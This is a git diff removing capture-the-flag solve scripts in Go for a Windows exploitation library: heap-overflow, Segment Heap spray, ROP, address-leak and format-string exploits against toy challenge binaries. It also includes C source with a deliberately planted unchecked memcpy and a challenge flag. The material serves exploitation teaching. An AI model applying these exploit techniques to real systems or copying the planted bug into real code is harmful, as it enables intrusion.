HeapCreate(0,0,0), this holds -reliably on build 10.0.26100. Check with `winpwn heap -walk` and look -for an adjacent busy pair at distance 0x30 (48 bytes = 16 header + 32 data). -The _HEAP_ENTRY header in between is XOR-encoded but the overflow just -overwrites it with garbage -- that's fine because we never HeapFree note[1]. -*/ -package main - -import ( - "bytes" - "fmt" - "log" - "strconv" - "winpwn" -) - -func parseAddr(line []byte) (uint64, error) { - idx := bytes.Index(line, []byte("addr=0x")) - if idx == -1 { - return 0, fmt.Errorf("no addr= in %q", line) - } - return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64) -} - -func main() { - pf, err := winpwn.OpenPE("heap_overflow.exe") - if err != nil { - log.Fatalf("OpenPE: %v", err) - } - winRVA, err := pf.GetProcAddress("win") - if err != nil { - log.Fatalf("win() not found: %v", err) - } - base, err := pf.ImageBase() - if err != nil { - log.Fatalf("ImageBase: %v", err) - } - winAddr := base + winRVA - pf.Close() - fmt.Printf("[+] win() @ 0x%X\n", winAddr) - - tube, err := winpwn.Spawn("heap_overflow.exe") - if err != nil { - log.Fatalf("Spawn: %v", err) - } - if _, err := tube.RecvLine(); err != nil { // "heap_overflow ready" - log.Fatalf("RecvLine: %v", err) - } - - // Step 1: allocate two notes consecutively -> they will be adjacent - for _, text := range []string{"A note0", "A note1"} { - if err := tube.SendLine([]byte(text)); err != nil { - log.Fatalf("SendLine %s: %v", text, err) - } - resp, err := tube.RecvLine() - if err != nil { - log.Fatalf("RecvLine: %v", err) - } - addr, _ := parseAddr(resp) - fmt.Printf("[+] %s\n", bytes.TrimSpace(resp)) - _ = addr - } - - // Step 2: overflow note[0]->buf into note[1]->action - // - // Payload layout (80 bytes total): - // bytes 0-23: 'A'*24 (fills note[0]->buf) - // bytes 24-31: 'B'*8 (overwrites note[0]->action -- value doesn't matter) - // bytes 32-47: 'C'*16 (overwrites note[1]'s _HEAP_ENTRY header -- doesn't matter, not freed) - // bytes 48-71: 'D'*24 (overwrites note[1]->buf -- doesn't matter, just read as string) - // bytes 72-79: win() (overwrites note[1]->action -- THIS is what we call) - // - payload := bytes.Repeat([]byte{0x41}, 24) // note[0]->buf - payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0]->action - payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // note[1] header - payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1]->buf - payload = append(payload, winpwn.P64(winAddr)...) // note[1]->action - - fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload)) - overflow := "W 0 " + winpwn.Enhex(payload) - if err := tube.SendLine([]byte(overflow)); err != nil { - log.Fatalf("SendLine W: %v", err) - } - if _, err := tube.RecvLine(); err != nil { // "OK" - log.Fatalf("RecvLine W resp: %v", err) - } - fmt.Printf("[+] overflow written, note[1]->action now points to win()\n") - - // Step 3: call note[1]->action -> win() - fmt.Printf("[+] calling C 1...\n") - if err := tube.SendLine([]byte("C 1")); err != nil { - log.Fatalf("SendLine C: %v", err) - } - - tube.Interactive() -} diff --git a/workspace/heap_segment/flag.txt b/workspace/heap_segment/flag.txt deleted file mode 100644 index 27ee1b5..0000000 --- a/workspace/heap_segment/flag.txt +++ /dev/null @@ -1 +0,0 @@ -flag{segment_heap_adjacent_chunk_overflow} diff --git a/workspace/heap_segment/heap_segment.exe b/workspace/heap_segment/heap_segment.exe deleted file mode 100644 index df72a0f..0000000 Binary files a/workspace/heap_segment/heap_segment.exe and /dev/null differ diff --git a/workspace/heap_segment/heap_segment_target.exe b/workspace/heap_segment/heap_segment_target.exe deleted file mode 100644 index 853ad75..0000000 Binary files a/workspace/heap_segment/heap_segment_target.exe and /dev/null differ diff --git a/workspace/heap_segment/main.go b/workspace/heap_segment/main.go deleted file mode 100644 index e0a051e..0000000 --- a/workspace/heap_segment/main.go +++ /dev/null @@ -1,164 +0,0 @@ -/* -Solve script for heap_segment.exe (see src/heap_segment.c): an -adjacent-chunk heap overflow on a real Segment-Heap-backed process heap -(the target opts in via an embedded manifest; GetProcessHeap() really is -Segment Heap, confirmed in the C source's own startup banner). - -Segment Heap's "Small" allocator packs same-size allocations densely into -4KB pages, but *not* in allocation order -- the offset within the page is -randomized per allocation (empirically verified while building this: -twenty sequential 32-byte allocations land all over a single page, not -back-to-back). So instead of assuming adjacency, this script leaks every -allocation's address (the target's A command happens to print it, the -same "legitimate bookkeeping output doubles as the leak primitive" pattern -as examples/heap_lfh) and searches the leaked addresses for a pair that -really is exactly sizeof(Profile)=32 bytes apart. Empirically, a spray of -20 always contains at least one such pair on this machine/OS build. - -Once found: id_a's name buffer is overflowable past its own 32 bytes -straight into id_b's struct, landing on id_b's `describe` function -pointer at offset 24-31 of id_b -- i.e. offset 56-63 relative to id_a's -own allocation start. The spray/pair-search loop is winpwn.SprayAndFind -(spray.go) -- the same primitive examples/heap_lfh uses for a structurally -different relation (equality against one known target, instead of a -distance check across everything sprayed). - -NOTE FOR TASK AUTHORS (not specific to this task -- read this before -designing your own heap challenge): "20 always contains a pair" and the -profileSize=32 distance check are facts about *this exact struct, on this -exact Windows build*, measured empirically by spraying it for real -- not -something Segment Heap guarantees as a stable contract. Segment Heap's -"Small" allocator's packing behavior is liable to differ across Windows -versions (and possibly even across runs on heavily fragmented heaps). -Anyone reusing this adjacent-overflow approach for a different struct size -or a different machine should re-run the same empirical step this script -already does at runtime -- spray N, leak every address, check for the -expected distance -- rather than hardcoding a spray count or an offset -copied from this writeup and assuming it transfers. -*/ -package main - -import ( - "bytes" - "fmt" - "log" - "strconv" - "winpwn" -) - -func parseIDAndAddr(line []byte) (int, uint64, error) { - idIdx := bytes.Index(line, []byte("id=")) - addrIdx := bytes.Index(line, []byte("addr=0x")) - if idIdx == -1 || addrIdx == -1 { - return 0, 0, fmt.Errorf("unparseable line %q", line) - } - idPart := bytes.Fields(line[idIdx+len("id="):])[0] - id, err := strconv.Atoi(string(idPart)) - if err != nil { - return 0, 0, err - } - addrPart := bytes.TrimSpace(line[addrIdx+len("addr=0x"):]) - addr, err := strconv.ParseUint(string(addrPart), 16, 64) - if err != nil { - return 0, 0, err - } - return id, addr, nil -} - -const profileSize = 32 // sizeof(Profile): char name[24] + void* describe - -func main() { - pf, err := winpwn.OpenPE("heap_segment.exe") - if err != nil { - log.Fatalf("OpenPE: %v", err) - } - winRVA, err := pf.GetProcAddress("win") - if err != nil { - log.Fatalf("win() not found: %v", err) - } - base, err := pf.ImageBase() - if err != nil { - log.Fatalf("ImageBase: %v", err) - } - winAddr := base + winRVA - pf.Close() - fmt.Printf("[+] win() address: 0x%X\n", winAddr) - - tube, err := winpwn.Spawn("heap_segment.exe") - if err != nil { - log.Fatalf("Spawn: %v", err) - } - - readyLine, err := tube.RecvLine() - if err != nil { - log.Fatalf("RecvLine: %v", err) - } - fmt.Printf("[*] %s", readyLine) - - // winpwn.SprayAndFind with no seed: every newly sprayed allocation is - // checked against everything sprayed before it for the one relation - // that matters here -- "exactly sizeof(Profile) apart" -- rather than - // collecting all addresses first and searching afterward. - const spray = 20 - a, b, _, ok, err := winpwn.SprayAndFind( - nil, - spray, - func(i int) (winpwn.SprayResult[uint64], error) { - if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil { - return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err) - } - resp, err := tube.RecvLine() - if err != nil { - return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err) - } - id, addr, err := parseIDAndAddr(resp) - return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err - }, - func(x, y uint64) bool { - d := int64(y) - int64(x) - return d == profileSize || d == -profileSize - }, - ) - if err != nil { - log.Fatalf("spray: %v", err) - } - if !ok { - log.Fatalf("no adjacent pair found in a spray of %d -- try a bigger spray", spray) - } - - // match() is direction-agnostic (it only checks |distance|), so the - // attacker (the lower address -- it overflows *forward* into the - // victim) needs to be picked out by comparing the two found keys, not - // just trusting which one SprayAndFind happened to label "older". - attackerID, victimID := a.ID, b.ID - attackerAddr, victimAddr := a.Key, b.Key - if a.Key > b.Key { - attackerID, victimID = b.ID, a.ID - attackerAddr, victimAddr = b.Key, a.Key - } - fmt.Printf("[+] found adjacent pair: attacker id=%d (0x%X), victim id=%d (0x%X)\n", - attackerID, attackerAddr, victimID, victimAddr) - - // 56 bytes of filler to walk past the attacker's own 32-byte - // allocation and the victim's name[24], landing exactly on the - // victim's `describe` field (offset 24 within the victim, i.e. - // offset 32+24=56 from the attacker's allocation start). - payload := bytes.Repeat([]byte{0x41}, 56) - payload = append(payload, winpwn.P64(winAddr)...) - payloadHex := winpwn.Enhex(payload) - - if err := tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, payloadHex))); err != nil { - log.Fatalf("SendLine: %v", err) - } - resp, err := tube.RecvLine() - if err != nil { - log.Fatalf("RecvLine: %v", err) - } - fmt.Printf("[*] overflow response: %s", resp) - - if err := tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))); err != nil { - log.Fatalf("SendLine: %v", err) - } - - tube.Interactive() -} diff --git a/workspace/heap_segment/src/heap_segment.c b/workspace/heap_segment/src/heap_segment.c deleted file mode 100644 index 11016ce..0000000 --- a/workspace/heap_segment/src/heap_segment.c +++ /dev/null @@ -1,159 +0,0 @@ -/* -heap_segment -- adjacent-chunk heap overflow on Windows' real Segment -Heap (not NT Heap/LFH). The process opts into Segment Heap via an -embedded application manifest (SegmentHeap> -- see -heap_segment.manifest/heap_segment.rc, the only Microsoft-documented way -to force it for a specific image without touching machine-wide settings), -so GetProcessHeap() itself is Segment-Heap-backed: confirmed empirically -while building this example by reading the heap handle's own Signature -field (*(DWORD*)(GetProcessHeap()+0x10) == 0xddeeddee for Segment Heap, -0xffeeffee for classic NT Heap). - -The bug: O (overflow) writes attacker-controlled, attacker-LENGTH bytes -starting at a Profile's address with no check that the length fits the -32-byte allocation -- a plain unchecked memcpy. Segment Heap's famous -mitigation (full physical isolation of heap *metadata* from user *data*, -see USAGE.md's walkthrough) means this overflow can never reach allocator -control structures, but it can still walk straight into whatever user data -happens to be allocated right after it in the same page -- and Segment -Heap's "Small" allocator packs same-size allocations densely into 4KB -pages, just at a randomized offset within the page rather than in -allocation order. Leak enough addresses (the A command leaks each one) and -some pair will be exactly 32 bytes apart (empirically: spray>=10 finds -one in every trial run while building this). - -Protocol (one command per line, stdout unbuffered): - A allocate a Profile{char name[24]; void(*describe)(const - char*);}, fills name (truncated to 23 chars + NUL), sets - describe to the real print function. - -> "OK id= addr=0x" - O write decode(hex) raw bytes starting at profiles[id] - (i.e. at name[0]) -- NOT bounds-checked against the - 32-byte allocation. - -> "OK" - D call profiles[id]->describe(profiles[id]->name). - Q quit. -*/ -#define _CRT_SECURE_NO_WARNINGS -#include -#include -#include -#include - -typedef struct { - char name[24]; - void (*describe)(const char *); -} Profile; - -#define MAX_PROFILES 4096 -static Profile *g_profiles[MAX_PROFILES]; -static int g_profile_count = 0; - -static void real_describe(const char *name) { - printf("profile: %s\n", name); -} - -__declspec(dllexport) void win(const char *ignored) { - HANDLE hFile; - char buffer[256]; - DWORD bytesRead; - - printf("you just got code execution via an adjacent-chunk overflow\n"); - - hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, - OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if (hFile == INVALID_HANDLE_VALUE) { - printf("Cannot open file.\n"); - ExitProcess(0); - } - if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) { - buffer[bytesRead] = '\0'; - printf("%s", buffer); - } - printf("\n"); - CloseHandle(hFile); - ExitProcess(0); -} - -static int hexval(char c) { - if (c >= '0' && c <= '9') return c - '0'; - if (c >= 'a' && c <= 'f') return c - 'a' + 10; - if (c >= 'A' && c <= 'F') return c - 'A' + 10; - return -1; -} - -/* Decodes hex into out, returns the number of bytes decoded (0 on bad input). - No length cap here -- the caller (the O command) is the vulnerable site. */ -static int unhex(const char *hex, unsigned char *out, int max_out) { - int n = (int)strlen(hex); - if (n % 2 != 0) return 0; - int len = n / 2; - if (len > max_out) return 0; /* still capped by our own receive buffer, not by the target's allocation */ - for (int i = 0; i < len; i++) { - int hi = hexval(hex[i * 2]); - int lo = hexval(hex[i * 2 + 1]); - if (hi < 0 || lo < 0) return 0; - out[i] = (unsigned char)((hi << 4) | lo); - } - return len; -} - -int main(void) { - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stdin, NULL, _IONBF, 0); - - unsigned int sig = *(unsigned int *)((char *)GetProcessHeap() + 0x10); - printf("heap_segment ready (heap signature 0x%08x)\n", sig); - - char line[1024]; - while (fgets(line, sizeof(line), stdin)) { - line[strcspn(line, "\r\n")] = 0; - - if (line[0] == 'A' && line[1] == ' ') { - if (g_profile_count >= MAX_PROFILES) { - printf("ERR too many profiles\n"); - continue; - } - Profile *p = (Profile *)HeapAlloc(GetProcessHeap(), 0, sizeof(Profile)); - if (!p) { printf("ERR alloc failed\n"); continue; } - strncpy(p->name, line + 2, sizeof(p->name) - 1); - p->name[sizeof(p->name) - 1] = 0; - p->describe = real_describe; - int id = g_profile_count++; - g_profiles[id] = p; - printf("OK id=%d addr=0x%p\n", id, (void *)p); - } else if (line[0] == 'O' && line[1] == ' ') { - int id; - char hexbuf[513]; - if (sscanf(line + 2, "%d %512s", &id, hexbuf) != 2) { - printf("ERR usage: O \n"); - continue; - } - if (id < 0 || id >= g_profile_count || !g_profiles[id]) { - printf("ERR bad id\n"); - continue; - } - unsigned char raw[256]; - int n = unhex(hexbuf, raw, sizeof(raw)); - if (n == 0) { - printf("ERR bad hex\n"); - continue; - } - /* THE BUG: no check that n <= sizeof(Profile). */ - memcpy(g_profiles[id], raw, n); - printf("OK\n"); - } else if (line[0] == 'D' && line[1] == ' ') { - int id = atoi(line + 2); - if (id < 0 || id >= g_profile_count || !g_profiles[id]) { - printf("ERR bad id\n"); - continue; - } - g_profiles[id]->describe(g_profiles[id]->name); - } else if (line[0] == 'Q') { - break; - } else { - printf("ERR unknown command\n"); - } - } - return 0; -} diff --git a/workspace/heap_segment/src/heap_segment.manifest b/workspace/heap_segment/src/heap_segment.manifest deleted file mode 100644 index 012cd1c..0000000 --- a/workspace/heap_segment/src/heap_segment.manifest +++ /dev/null @@ -1,8 +0,0 @@ - - - - - SegmentHeap - - - diff --git a/workspace/heap_segment/src/heap_segment.rc b/workspace/heap_segment/src/heap_segment.rc deleted file mode 100644 index 31f64e4..0000000 --- a/workspace/heap_segment/src/heap_segment.rc +++ /dev/null @@ -1 +0,0 @@ -1 24 "heap_segment.manifest" diff --git a/workspace/heap_segment/src/heap_segment_manifest.o b/workspace/heap_segment/src/heap_segment_manifest.o deleted file mode 100644 index 4ecc0a1..0000000 Binary files a/workspace/heap_segment/src/heap_segment_manifest.o and /dev/null differ diff --git a/workspace/heap_typemix/heap_typemix.exe b/workspace/heap_typemix/heap_typemix.exe deleted file mode 100644 index 532665a..0000000 Binary files a/workspace/heap_typemix/heap_typemix.exe and /dev/null differ diff --git a/workspace/task1_leak/main.go b/workspace/task1_leak/main.go deleted file mode 100644 index 1658bd3..0000000 --- a/workspace/task1_leak/main.go +++ /dev/null @@ -1,59 +0,0 @@ -/* -В Go нет встроенной перегрузки типов, поэтому конвертация -cырых байт из пайпа в строку, затем в число, -вычитание смещения и обратная конвертация в строку -делаются явно через пакеты bytes и strconv. -*/ - -package main - -import ( - "bytes" - "fmt" - "log" - "strconv" - "winpwn" -) - -func main() { - tube, err := winpwn.Spawn("./task1.exe") - // tube, err := winpwn.Remote("10.8.0.1", "50957") - if err != nil { - log.Fatalf("Spawn: %v", err) - } - - if _, err := tube.RecvUntil([]byte("main: ")); err != nil { - log.Fatalf("RecvUntil: %v", err) - } - - // Читаем строку с адресом до переноса и очищаем от спецсимволов (\r\n) - addrBytes, err := tube.RecvUntil([]byte("\n")) - if err != nil { - log.Fatalf("RecvUntil: %v", err) - } - addrStr := string(bytes.TrimSpace(addrBytes)) - - // В зависимости от компилятора, %p может добавлять или не добавлять "0x" - //addrStr = strings.TrimPrefix(addrStr, "0x") - - // Аналог main = int(main, 16) - mainAddr, err := strconv.ParseUint(addrStr, 16, 64) - if err != nil { - log.Fatalf("Failed to parse leaked address: %v", err) - } - fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr) - //addr(win)-addr(main) = 267 - offset := uint64(267) - winAddr := mainAddr - offset - fmt.Printf("[+] Calculated win: 0x%X\n", winAddr) - - // Аналог hex(win).encode() - // %x форматирует число в hex-строку без префикса 0x - payload := fmt.Sprintf("%x", winAddr) - - if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil { - log.Fatalf("SendLineAfter: %v", err) - } - - tube.Interactive() -} diff --git a/workspace/task1_leak/task1.exe b/workspace/task1_leak/task1.exe deleted file mode 100644 index 0bccedb..0000000 Binary files a/workspace/task1_leak/task1.exe and /dev/null differ diff --git a/workspace/task2_rop/main.go b/workspace/task2_rop/main.go deleted file mode 100644 index 06b0510..0000000 --- a/workspace/task2_rop/main.go +++ /dev/null @@ -1,103 +0,0 @@ -/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */ - -package main - -import ( - "bytes" - "fmt" - "log" - "winpwn" -) - -func main() { - target := "task2.exe" - - peFile, err := winpwn.OpenPE(target) - if err != nil { - log.Fatalf("Failed to open PE: %v", err) - } - defer peFile.Close() - - // 2. Получаем RVA функции win из таблицы экспортов - winRVA, err := peFile.GetProcAddress("win") - if err != nil { - log.Fatalf("win() not found: %v", err) - } - - // 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR) - imageBase, err := peFile.ImageBase() - if err != nil { - log.Fatalf("Failed to read ImageBase: %v", err) - } - - // Вычисляем абсолютный адрес win() - winAddr := imageBase + winRVA - fmt.Printf("[+] win() address: 0x%X\n", winAddr) - - // 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен - rop, err := winpwn.NewROP(target) - if err != nil { - log.Fatalf("ROP init error: %v", err) - } - defer rop.Close() - - popRcxGadgets, err := rop.Search("pop rcx ; ret") - if err != nil { - log.Fatalf("pop rcx not found") - } - popRcx := popRcxGadgets[0].Address - fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx) - - // Верификация цепочки прямо из скрипта, без внешнего objdump/IDA - if lines, err := rop.Disassemble(popRcx, 2); err == nil { - fmt.Printf("[*] verified: %s\n", lines) - } - - retGadgets, err := rop.Search("ret") - if err != nil { - log.Fatalf("ret not found") - } - ret := retGadgets[0].Address - - // 5. Конструируем пейлоад - // Реальное расстояние до return-адреса зависит от компилятора и его - // версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь - // предположение по исходнику. На gcc/MinGW из этой сборки buf реально - // лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`), - // то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через - // objdump -d / x86dbg или просто перебором, не доверяй комментарию - // в исходнике вслепую. - offset := 56 - payload := bytes.Repeat([]byte("A"), offset) - - // --- ROP Цепочка --- - // Закидываем 0xDEADBEEF в RCX - payload = append(payload, winpwn.P64(popRcx)...) - payload = append(payload, winpwn.P64(0xDEADBEEF)...) - - // Stack Alignment - // Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0). - // Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз. - payload = append(payload, winpwn.P64(ret)...) - - // Прыжок в win() - payload = append(payload, winpwn.P64(winAddr)...) - - // 6. Взаимодействие - tube, err := winpwn.Spawn("./" + target) - if err != nil { - log.Fatalf("Spawn: %v", err) - } - - if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil { - log.Fatalf("SendLineAfter: %v", err) - } - - tube.Interactive() -} - -/*На что обратить внимание твоим участникам: - - Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора. - - Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */ diff --git a/workspace/task2_rop/task2.exe b/workspace/task2_rop/task2.exe deleted file mode 100644 index d10602c..0000000 Binary files a/workspace/task2_rop/task2.exe and /dev/null differ diff --git a/workspace/task2_rop/task2_msvc.exe b/workspace/task2_rop/task2_msvc.exe deleted file mode 100644 index c78a747..0000000 Binary files a/workspace/task2_rop/task2_msvc.exe and /dev/null differ diff --git a/workspace/task3_fmtstr/main.go b/workspace/task3_fmtstr/main.go deleted file mode 100644 index a8c5d47..0000000 --- a/workspace/task3_fmtstr/main.go +++ /dev/null @@ -1,66 +0,0 @@ -/* -Поскольку %44$n не работает, нам нужно "прошагать" по стеку. При вызове printf(fmt_str, 0xdeadbeef) память выглядит так: - - fmt_str (в RCX) - - 0xdeadbeef (в RDX) - - Мусор или старые значения (в R8) - - Мусор (в R9) - - Shadow Space (32 байта на стеке) - - Локальные переменные main (среди которых указатель print_flag). - -Мы будем отправлять пейлоад вида %p %p %p %p... %n. Когда %n дойдет до слота на стеке, где лежит указатель print_flag, printf запишет туда количество выведенных до этого байт. Значение станет больше нуля, и условие if (*print_flag) выполнится. -*/ - -package main - -import ( - "bytes" - "log" - "winpwn" -) - -func main() { - // Спавним локальный процесс (потом можно заменить на winpwn.Remote) - tube, err := winpwn.Spawn("fs3_win.exe") - if err != nil { - log.Fatalf("Spawn: %v", err) - } - - // Оффсет: сколько спецификаторов %p нужно напечатать, - // чтобы следующий элемент указывал на переменную print_flag. - // Это число вычисляется динамически в x64dbg (смотришь на стек перед вызовом printf). - // Допустим, после анализа мы выяснили, что указатель лежит 12-м по счету. - offset := 12 - - // Конструируем пейлоад вида: "%p %p %p %p %p %p %p %p %p %p %p %n\n" - // Первые %p вытащат RDX (0xdeadbeef), R8, R9, затем содержимое стека. - // Последний %n запишет число по адресу, лежащему на стеке (наш print_flag). - var payload bytes.Buffer - for i := 0; i < offset-1; i++ { - payload.WriteString("%p ") - } - payload.WriteString("%n\n") - - // Отправляем форматную строку - if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil { - log.Fatalf("SendLineAfter: %v", err) - } - - // Перехватываем управление, чтобы увидеть вывод флага - tube.Interactive() -} - -/* -Как участникам искать offset? - -Им не обязательно использовать дебаггер. Форматные строки можно фаззить прямо из терминала. -Если участник отправит строку AAAA %p %p %p %p %p %p %p %p %p %p, он увидит что-то вроде: -AAAA 00000000DEADBEEF 00007FF71234 000000000000 000000000000 029011B0... - -Где 029011B0 — это типичный адрес кучи в Windows. Как только они на глаз определят, каким по счету выводится адрес кучи, они просто заменят последний %p на %n. -*/ diff --git a/workspace/template/main.go b/workspace/template/main.go deleted file mode 100644 index 206e634..0000000 --- a/workspace/template/main.go +++ /dev/null @@ -1,63 +0,0 @@ -// Шаблон solve-скрипта для winpwn. -// cp -r ../workspace/template ../workspace/mysolve -// cd ../workspace/mysolve && go run . -package main - -import ( - "bytes" - "encoding/binary" - "fmt" - "log" - "strconv" - "winpwn" -) - -func p64(v uint64) []byte { return winpwn.P64(v) } -func u64(b []byte) uint64 { return binary.LittleEndian.Uint64(b) } - -func parseHex(s string) uint64 { - v, _ := strconv.ParseUint(s, 16, 64) - return v -} - -func parseAddr(line []byte) (uint64, error) { - idx := bytes.Index(line, []byte("0x")) - if idx == -1 { - return 0, fmt.Errorf("no hex addr in %q", line) - } - return strconv.ParseUint(string(bytes.TrimSpace(line[idx+2:])), 16, 64) -} - -func main() { - // --- Вариант А: статический бинарь без ASLR --- - // Открыть PE для анализа (работает для ASLR:No) - pf, err := winpwn.OpenPE("chal.exe") - if err != nil { - log.Fatalf("OpenPE: %v", err) - } - winRVA, _ := pf.GetProcAddress("win") - base, _ := pf.ImageBase() - winAddr := base + winRVA - pf.Close() - fmt.Printf("[+] win() @ 0x%X\n", winAddr) - - // Запустить таргет - tube, err := winpwn.Spawn("chal.exe") - if err != nil { - log.Fatalf("Spawn: %v", err) - } - - // --- Вариант Б: символы живого процесса (аналог pwintools p.libs/p.symbols) --- - // sym := winpwn.NewProcessSymbols(tube.PID()) - // defer sym.Close() - // k32, _ := sym.Base("kernel32.dll") - // winexec, _ := sym.Symbol("kernel32.dll", "WinExec") - // mods, _ := sym.Modules() // все загруженные DLL - _ = winAddr - - tube.RecvLine() // баннер готовности - - // Твой эксплойт здесь - - tube.Interactive() -}